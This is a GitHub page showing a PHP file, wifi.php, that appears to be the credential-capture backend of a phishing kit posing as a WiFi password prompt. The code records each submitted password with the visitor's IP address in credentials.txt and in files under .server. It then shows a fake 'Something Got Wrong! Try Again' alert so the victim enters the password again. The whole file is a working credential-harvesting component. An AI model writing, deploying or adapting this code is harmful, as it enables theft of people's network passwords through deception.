-
Notifications
You must be signed in to change notification settings - Fork 0
/
wifi.php
47 lines (39 loc) · 945 Bytes
/
wifi.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
$pass = $_POST['pass'];
// $ip = $_SERVER("REMOTE_ADDR");
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$cred = fopen("credentials.txt", "a");
fwrite($cred, "IP Address: ".$ip."\n");
fwrite($cred, "Password: ".$pass."\n");
fclose($cred);
try{
$ipfile = fopen(".server/ip.txt", "w");
}
catch(Exception $e){
$ipfile = fopen(".server\\ip.tx", "w");
}
finally{
fwrite($ipfile, $ip);
fclose($ipfile);
}
try{
$file = fopen(".server/pass.txt", "w");
}
catch(Exception $e){
$file = fopen(".server\\pass.txt", "w");
}
finally{
fwrite($file, $pass);
fclose($file);
}
// header("Location: https://www.google.com");
?>
<script>
alert(`Something Got Wrong!\nTry Again!!!`)
</script>